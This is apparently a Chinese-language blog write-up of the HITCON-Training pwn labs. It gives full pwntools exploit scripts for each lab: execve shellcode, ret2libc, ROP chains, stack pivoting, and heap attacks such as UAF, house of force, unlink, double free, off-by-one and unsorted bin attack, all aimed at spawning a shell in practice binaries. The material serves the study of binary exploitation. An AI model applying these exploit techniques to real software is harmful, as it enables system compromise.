Hitcon Training系列学习记录

前言

未入门时做hitcon-training系列收获很大,怀着一颗感恩的心来整理writeup

Lab1

直接上脚本吧

from pwn import *
cipher = [7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30,  22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4,  66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66]
key = "Do_you_know_why_my_teammate_Orange_is_so_angry???"
flag = ""
for i in range(len(key)):
        flag = flag + chr(cipher[i]^ord(key[i]))

print flag

Lab2

Lab3

from pwn import *
import time

p = process("./ret2sc")

shellcode_addr = 0x0804a060
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

p.recvuntil("Name:")
p.sendline(shellcode)

payload = 32*'a'
payload+= p32(shellcode_addr)

p.recvuntil("best:")
gdb.attach(p)
p.sendline(payload)

p.interactive()

Lab4

任意地址读取,读取got的地址
溢出

打印got表地址,算出offset得到system地址,构造简单的ret2lib的rop

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
context.terminal = ['tmux','split','-h']

p = process("./ret2lib")
elf = ELF("./ret2lib")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

p.sendlineafter("(in dec) :",str(elf.got["printf"]))
p.recvuntil("0x")
printf_addr = int(p.recv(8),16)
offset = printf_addr - libc.symbols['printf']
system_addr = libc.symbols['system'] + offset

payload  = 60*"a" +  p32(system_addr) + p32(0xdeadbeef) + p32(elf.search("sh\x00").next())
#gdb.attach(p)
p.sendlineafter("me :",payload)
p.interactive()

Lab5

注意int 80系统调用的使用,是eax寄存器。具体的查阅资料即可。注意execve函数的参数,read。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
#context.terminal = ['tmux','split','-h']
p = process("./simplerop")

int_80 = 0x080493e1
pop_eax_ret = 0x080bae06
pop_ecx_ebx_ret = 0x0806e851
pop_edx = 0x0806e82a
binsh_addr = 0x80ea060
start_addr = 0x8048d0a
mov_buf_edx = 0x0807b301 # mov dword ptr [eax], edx ; ret
pop_edx_ecx_ebx = 0x0806e850 # : pop edx ; pop ecx ; pop ebx ; ret

payload = "a"*32
payload+= p32(pop_eax_ret)
payload+= p32(binsh_addr)
payload+= p32(pop_edx)
payload+= "/bin"
payload+= p32(mov_buf_edx)
payload+= p32(pop_eax_ret)
payload+= p32(binsh_addr+4)
payload+= p32(pop_edx)
payload+= "/sh\x00"
payload+= p32(mov_buf_edx)
payload+= p32(pop_edx_ecx_ebx)
payload+= p32(0)
payload+= p32(0)
payload+= p32(binsh_addr)
payload+= p32(pop_eax_ret)
payload+= p32(0x0b)
payload+= p32(int_80)

gdb.attach(p)
p.sendlineafter("Your input :",payload)
p.interactive()

Lab6

栈上数据不可执行,同时不能修改GOT表。没有开启地址随机化

明显的栈溢出,读取64个字节,但是只有40个字节的栈空间 。

开启RELRO,我们需要leak got表,来获得libc的基址,从而得到system函数的地址。

但是可用空间非常小,所以我们需要进行劫持栈指针。(原理:leave = mov esp,ebp; pop ebp)

步骤一:(迁移栈,调用read获得下一部分payload)

第一个rop = 40*‘a’+ 想要劫持的栈地址 + read_plt + leave + 参数1 + 想要劫持的栈地址 + 参数2

注意,我们需要将地址放在data段:

经过运行和后可以看看那些地方空的:

即0x804a400开始,前面0x200都是空的,所以第一个迁移地址为0x804a200,第二个迁移地址是0x804a300

查看rop链

核心指令:readelf、rop、vmmap

步骤二:(leak函数地址,迁移到第二个栈,获取第三段payload)

第二个rop链:

rop = 第二个想要迁移的指令(pop ebp)+ puts_plt + pop_ret (关键点1)+ puts_got(关键点2) + read_plt + leave_ret + 三个参数

关键点一:之前的疑问:在这里pop里还怎么泄露后面的puts_got?回答:是当整个puts函数执行了输出 了后面put_got参数之后才返回接下来的汇编指令pop,这跟前面的level0异曲同工。pop之后才可以继续顺利的进行rop,同样的如果这里是read函数,后面有三个参数,那么如果后面还要继续rop就要继续pop三个参数再ret才能继续。

关键点二:为什么不能用read_got只能用puts_got?

关键点三:获得的puts_got当前地址-puts_off = libc_base; system_addr = libc_base+system_off

核心指令:off [func]

步骤三:(get shell)

rop = 随便一个地址(pop ebp) + system_addr + any_addr + 参数地址(关键点) + “/bin/sh”

关键点部分注意地址是迁移过来的地址+4*4(别忘记了)

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
import time
#context.log_level = 'DEBUG'

p = process("./migration")

buf1 = 0x804a200+0x100
buf = 0x804a200

leave_addr = 0x08048503
pop_ret = 0x0804836d
read_plt = 0x08048380
puts_plt = 0x08048390

system_off = 0x3ada0
puts_off = 0x5fca0

puts_got = 0x08049ff0
read_got = 0x08049fe8

rop1 = 40*'a'
rop1+= p32(buf)         # 劫持栈指针
rop1+= p32(read_plt)    # 返回地址是read函数
rop1+= p32(leave_addr)  # 返回地址是劫持栈指针的汇编指令
rop1+= p32(0)           # 第一个参数0
rop1+= p32(buf)         # 地址
rop1+= p32(100)         # 长度
p.recvuntil(":\n")     
p.send(rop1)            # 由于一共接收64个字符,这里已经有40+4*6,所以不能再“/n”了

time.sleep(0.1)         # 停止一下

rop2=""
rop2+= p32(buf1)        # 接下来需要劫持栈顶指针的地址
rop2+= p32(puts_plt)
rop2+= p32(pop_ret)     # 这个还会详细说明,清空下面的参数,继续rop
rop2+= p32(puts_got)    # 打印出put_got在内存中的地址,这里还有个问题为什么read_got不行?
rop2+= p32(read_plt)    # 调用read继续读
rop2+= p32(leave_addr)  # 继续劫持栈指针
rop2+= p32(0)
rop2+= p32(buf1)
rop2+= p32(100)
p.sendline(rop2)

data = u32(p.recvuntil("\n")[:-1])
libc_base = data - puts_off
print "libc_base: ",hex(libc_base)
system_addr = libc_base + system_off
time.sleep(0.1)

rop3=flat([buf,system_addr,0,buf1+16,"/bin/sh"])
p.sendline(rop3)
p.interactive()

Lab10

node结构体8个字节。第一个功能是添加信息:第一个是malloc一个node结构体,接下来输入存储字符串的长度,再malloc一个合适的堆块。

删除的时候没有指针没有置空。可以考虑UAF的利用方式。

UAF即use after free。存储块小于64b的堆块释放之后由fastbin来进行管理。释放的那个放在表头,分配的时候直接从表头开始获取。

在指针未指空的情况下,释放的堆块则还可以使用。

我们看到node中第一个成员是函数指针,里面存放着打印字符串的函数地址。我们考虑是不是可以通过UAF来修改node中的函数指针的值,指向源码提供的magic函数。

具体做法:
申请一个node0,16长度的字符串
申请一个node1,16长度的字符串
释放node0
释放node1
申请一个node2,8长度的字符串
此时8长度字符串的的堆块实际上是node0存放的node结构体的堆块
我们便可以进行修改函数指针的指向。
最后由于指针未指NULL可以继续调用node0的printf函数,则会执行我们期望执行的函数

exp

from pwn import *
p = process("./hacknote")
def add_node(size,content):
        p.recvuntil(":")
        p.sendline("1")
        p.recvuntil(":")
        p.sendline(str(size))
        p.recvuntil(":")
        p.sendline(content)

def delete_node(number):
        p.recvuntil(":")
        p.sendline("2")
        p.recvuntil(":")
        p.sendline(str(number))
def print_node(number):
        p.recvuntil(":")
        p.sendline("3")
        p.recvuntil(":")
        p.sendline(str(number))
magic_addr = 0x8048986
add_node(16,"aaaa")
add_node(16,"bbbb")
delete_node(0)
delete_node(1)
add_node(8,p32(magic_addr))
print_node(0)
p.interactive()

Lab11

首先malloc一个box,看看box是什么东西:
两个函数指针。同时发现有后门函数:
第一个思路就是是否可以任意地址修改,将函数指针改为magic

add功能:输入长度,malloc一个大小一样的chunk存放字符串
delete功能:输入id,删除
edit功能:输入id,输入长度,在输入新的字符串
show功能:打印字符串

思路一 House of force

第一个思路就是想办法将第一个chunk的内容的函数指针改为后门函数

第一步:完成相关功能函数

def add(size,name):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(name)

def delete(id):
    p.recvuntil(":")
    p.sendline("4")
    p.recvuntil(":")
    p.sendline(id)

def edit(id,size,name):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(id))
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(name)

def show(id):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(id))
目标就是覆盖函数指针。
可以修改。那方法就是hose of lore

回顾一下house of lore,将top chunk的设置为最大,然后再分配负的chunk尺寸,这样就会将top chunk向上抬。那么下次分配就可以按自己的目标来分配chunk。调试如下:

那么需要抬0xa0单位。也就是分配-0xa0大小的chunk

成功的将栈顶抬到想分配的地址

修改函数指针

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
context.terminal = ['tmux','split','-h']
p = process("./bamboobox")

def add(size,name):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(name)

def delete(id):
    p.recvuntil(":")
    p.sendline("4")
    p.recvuntil(":")
    p.sendline(id)

def edit(id,size,name):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(id))
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(name)

def show(id):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(id))

magic_addr = 0x0000000000400d49
add(0x60,"aaaa")
edit(0,0x71,"a"*0x60+p64(0)+p64(0xffffffffffffffff))
add(-0xa0,"aaaa")
gdb.attach(p)
raw_input()
add(0x10,p64(magic_addr)*2)
gdb.attach(p)
raw_input()
p.interactive()

尝试 用unlink的方式来解题。里面有几个关键步骤:通过free来修改fd,bk达到任意地址读写的目的。

第一步:找到指针
第二步:构造伪chunk,并free掉某个chunk,将fd劫持到一个新的位置上进行读写。
第三步:修改指针,达到任意内存读写的目的(这里采用劫持got表的方法)

第一步分配三个chunk,中间大两边小:

add(0x40,"a"*8) #0
add(0x80,"a"*8) #1
add(0x40,"a"*8) #2

我们考虑要free第一个chunk,让它往前覆盖,所以我们再在1那里做一个伪造的chunk。假的chunk在0x2119030处,那么该指针为0x6020c8,就像 视频中讲解的r一样。

伪造chunk:

ptr = 0x6020c8

payload = p64(0)          # 前一个大小为0
payload+= p64(0x31)       # 这个chunk的大小
payload+= p64(ptr-0x18)   # fd
payload+= p64(ptr-0x10)   # bk
payload+= "a"*0x10        # 还有0x10个单位空余,将其填充
payload+= p64(0x30)       # 对于第一个chunk的前一个大小,因为我们要合并
payload+= p64(0x100)      # 需要加上头部,一会儿试试不加头部行不行
edit(0,0x80,payload)

删除第一号chunk

指针已经成功指向0x6020b0,也就是这个指针的前面。我们看看前面的数据:

修改got表:

选择这个作为改变目标,方便控制改为system刚好可以直接传参getshell。
成功将指针修改为0x602068。最后再将值 传入指针的位置。

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
context.terminal = ['tmux','split','-h']
p = process('./bamboobox')

def add(size,name):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(name)

def delete(id):
    p.recvuntil(":")
    p.sendline("4")
    p.recvuntil(":")
    p.sendline(str(id))

def edit(id,size,name):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(id))
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(name)

def show():
    p.recvuntil(":")
    p.sendline("1")

add(0x30,"a"*8) #0
add(0x80,"a"*8) #1
add(0x30,"a"*8) #2

ptr = 0x6020c8

payload = p64(0)          # 前一个大小为0
payload+= p64(0x31)       # 这个chunk的大小
payload+= p64(ptr-0x18)   # fd
payload+= p64(ptr-0x10)   # bk
payload+= "a"*0x10        # 还有0x10个单位空余,将其填充
payload+= p64(0x30)       # 对于第一个chunk的前一个大小,因为我们要合并
payload+= p64(0x90)      # 需要加上头部,一会儿试试不加头部行不行
edit(0,0x80,payload)

delete(1)

atoi_addr = 0x0000000000602068
atoi_offset = 0x36e80
system_offset = 0x45390
payload = p64(0)
payload+= p64(0x40)
payload+= p64(0)
payload+= p64(atoi_addr)

edit(0,0x80,payload)
show()
p.recvuntil("0 : ")
atoi = u64(p.recvuntil("\n")[:6].ljust(8,"\x00"))
libc_base = atoi - atoi_offset
system_addr = libc_base + system_offset

edit(0,0x10,p64(system_addr)*2)
p.interactive()

Lab12

两次malloc,第一次是给flower结构体分配,第二次是给flower的名字进行分配,大小自己指定。
注意这里指针置空,不能使用UAF。
后门函数!我们开始考虑使用Double free的方法。

仔细看看上面的源码不难发现,目标就是一个劫持eip到magic函数。考虑eip劫持方法:栈溢出,修改got表,格式化字符串。

在这里我们可以先考虑修改got表,因为在成功分配chunk并且输入正确的情况下会调用puts函数:

我们考虑是不是可以利用double free的方法来修改fd指针,从而使其指向got表的位置,以此来修改puts的地址。

补充知识

第一点知识:hijack got

当我们执行puts函数时先去plt表执行代码

第一条指令jump *xxxx。但是xxxx到底是哪个位置?也就是红箭头所指向的位置。我们再看看该位置又是什么东西。
也就是执行4007a6位置的这条指令。我们如果将这条指令地址改为aaaa,那么他就去执行aaaa地址的指令。(这里可以修改两次:一次是将jmp这条指令改为其他,第二次是将跳过去的地址中的指令进行修改)

第二点:double free的知识:

double free首先是针对fast bin的,单链表结构。fd指向下一个分配的空闲chunk。后入先出的顺序。分配chunk的时候检查size位置是否满足大小。

free(0)
free(1)
free(0)
malloc(0)
将0中写入一个地址,此时就是fd的位置。那么0就将指向该地址。当malloc两次之后,bin就指向该地址。再次malloc就将分配这个地址的这个chunk。就可以修改相关内容。

exp

from pwn import *
context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
context.terminal = ['tmux','split','-h']

p = process("./secretgarden")

magic_addr = 0x400c7b
fake_chunk_addr = 0x601ffa
def create(length,name,color):
    p.sendlineafter(":","1")
    p.sendlineafter(":",str(length))
    p.sendlineafter(":",name)
    p.sendlineafter(":",color)


def visit():
    p.sendlineafter(":","2")


def delete(idx):
    p.sendlineafter(":","3")
    p.sendlineafter(":",str(idx))

def clean():
    p.sendlineafter(":","4")

create(0x50,"0","red")
create(0x50,"1","blue")
delete(0)
delete(1)
delete(0)

create(0x50,p64(fake_chunk_addr),"red")
create(0x50,"1","blue")
create(0x50,"0","red")
create(0x50,"a"*22+p64(magic_addr),"red")

p.interactive()

Lab13 overlapping

创建部分:先分配一个heap的结构体,再分配一个content内容的chunk,读入这里没有什么漏洞。 删除部分:置空,没有UAF。 编辑部分:
有一个off by one漏洞 显示部分:无漏洞

利用刚刚所学overlapping还有off by one的技巧:
第一步:创建两个heap,通过off by one的技巧将第二个chunk的size位改的更大,并释放。这样chunk头 就可以覆盖到下面的部分了。
第二步:创建一个稍大的chunk,这里的chunk要分配到之前释放的那个chunk。这样就可以修改heap信息结构体中的指针了
第三步:填入某个函数地址信息,计算libc基址
第四步:将某个常用函数写入指针,该指针指向system函数
第三次分配大chunk时的示意图

调试步骤

第一步:off by one修改下一个chunk首地址:
create(0x18,”aaaa”) # create 0
create(0x10,”bbbb”) # create 1
edit(0,”a”*0x18+”\x41”)
注意:这里有用到一个分配策略,当分配小于两倍字长的请求,系统会直接返回两倍字长的chunk。(32位就是0x10,64位是0x20)也就是当 分配18个单位是,18<32。所以 系统连着chunk header会给0x20个单位。但是除去0x10的header,0x10怎么放18个单位呢。注意它会占用下一个chunk的pre_size位。所以我们就可以通过这种方式直接覆盖掉下一个chunk的size位。

第二步:修改成功,接下来就是释放。

可以看到类似于空间复用。 我们再次进行分配看看是什么样子:

第三步:控制heap结构体:

整块都是content,但是60开始又是heapinfo结果体。所以heapinfo部分malloc了两次。content一次,heapinfo结构体分配一次。content可以写入heapinfo中,从而控制指针。

create(0x30,p64(0)*4+p64(0x30)+p64(elf.got[‘atoi’])) # create 1

第四步:算出system:

libc = elf.libc
p.recvuntil(“Content :”)
addr = u64(p.recvuntil(“\x7f”)[-6:].ljust(8, “\x00”))
libc_base = addr - libc.symbols[“atoi”]
system_addr = libc.symbols[‘system’] + libc_base

第五步:修改atoi位置位system地址,劫持got
edit(1,p64(system_addr))
p.sendline(‘/bin/sh\x00’)

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
context.terminal = ['tmux','split','-h']
p = process("./heapcreator")
elf = ELF("./heapcreator")
libc = elf.libc

def create(size,info):
    p.sendlineafter("Your choice :",str(1))
    p.sendlineafter('Size of Heap : ',str(size))
    p.sendlineafter('Content of heap:',info)

def edit(id,info):
    p.sendlineafter("Your choice :",str(2))
    p.sendlineafter('Index :',str(id))
    p.sendlineafter('Content of heap : ',info)

def show(id):
    p.sendlineafter("Your choice :",str(3))
    p.sendlineafter("Index :",str(id))

def delete(id):
    p.sendlineafter("Your choice :",str(4))
    p.sendlineafter("Index :",str(id))

create(0x18,"aaaa") # create 0
create(0x10,"bbbb") # create 1
edit(0,"a"*0x18+"\x41")
delete(1)

create(0x30,p64(0)*4+p64(0x30)+p64(elf.got['atoi'])) # create 1
show(1)

p.recvuntil("Content : ")
addr =  u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))

print hex(addr)
libc_base = addr - libc.symbols["atoi"]
system_addr =  libc.symbols['system'] + libc_base

edit(1,p64(system_addr))
p.sendline('/bin/sh\x00')
p.interactive()

Lab14(unsorted bin attack)

edit无长度检查,那么就可以伪造下一个chunk来完成。
magic需要大于4869。

思路一

步骤一:利用unlink进行迁移chunk位置,修改magic的值
步骤二:利用unlink直接修改指针,hijacking got
步骤三:利用unsorted bin attack,令bk等于magic地址-0x10。malloc之后令magic的值等于下一个chunk的首地址,从而成功修改(在这里我们选择第三种)

所谓的unsorted bin attack:
首先不是fastbin chunk就先放到unsorted bin中。
其次先进先出的模式。
最后bk指针会被后面的chunk首地址所赋值:
说明确一点:就是说用一个地址写入将要malloc的chunk中bk中,那么malloc之后这个地址中的值就等于写入前chunk中bk的值

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

#context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
#context.terminal = ['tmux','split','-h']

p = process("./magicheap")

hack_addr = 0x400c23
magic_addr = 0x6020c0

def create(length,content):
    p.sendlineafter("choice :",str(1))
    p.sendlineafter("Heap : ",str(length))
    p.sendlineafter("heap:",content)

def edit(index,size,content):
    p.sendlineafter("choice :",str(2))
    p.sendlineafter("Index :",str(index))
    p.sendlineafter("Heap : ",str(size))
    p.recvuntil("heap : ")
    p.send(content)

def delete(index):
    p.sendlineafter("choice :",str(3))
    p.sendlineafter("Index :",str(index))

create(0x80,"a"*4) # 0
create(0x80,"b"*4) # 1
create(0x80,"c"*4) # 2

payload = 0x80*'a'+p64(0)+p64(0x91)+p64(0)+p64(magic_addr-0x10)
delete(1)
edit(0,0x100,payload)
create(0x80,"d"*4)

p.recv()
p.sendline("4869")

p.interactive()

思路二

构造unlink漏洞,修改chunk位置到结构体指针位置,从而控制指针。又因为RELRO 部分开启,所以我们可以劫持GOT表。所以根本没有用上程序的部分功能。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

#context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')
#context.terminal = ['tmux','split','-h']

p = process("./magicheap")
elf = ELF("./magicheap")

hack_addr = 0x400c23
magic_addr = 0x6020c0

def create(length,content):
    p.sendlineafter("choice :",str(1))
    p.sendlineafter("Heap : ",str(length))
    p.sendlineafter("heap:",content)

def edit(index,size,content):
    p.sendlineafter("choice :",str(2))
    p.sendlineafter("Index :",str(index))
    p.sendlineafter("Heap : ",str(size))
    p.recvuntil("heap : ")
    p.send(content)

def delete(index):
    p.sendlineafter("choice :",str(3))
    p.sendlineafter("Index :",str(index))

hack_addr = 0x6020e8
create(0x10,"ffff")
create(0x30,"aaaa")
create(0x80,"bbbb")
create(0x30,"cccc")

payload = p64(0)
payload+= p64(0x31)
payload+= p64(hack_addr-0x18)
payload+= p64(hack_addr-0x10)
payload+= 0x10*"a"
payload+= p64(0x30)
payload+= p64(0x90)

edit(1,0x80,payload)

delete(2)

payload = p64(0)
payload+= p64(0x41)
payload+= p64(elf.got['atoi'])
payload+= p64(0)
edit(1,0x40,payload)

edit(0,0x08,p64(elf.plt['system']))

p.interactive()

 Previous
2020-西湖论剑部分PWN解题 2020-西湖论剑部分PWN解题
0x01 summarymmutage:两个洞一个double free和栈溢出,栈溢出后面接一个输出可以leak canary,由于给了栈地址并且可以edit stack所以可以double free改fd到stack上,这样就可以rop
2020-10-20
Next 
House of husk学习记录 House of husk学习记录
0x00 原理这种攻击方式主要是利用了printf的一个调用链,应用场景是只能分配较大chunk时(超过fastbin),存在或可以构造出UAF漏洞。类似于之前改global_max_fast后覆盖到top chunk的那种情况,只是后续利
2020-10-19
  TOC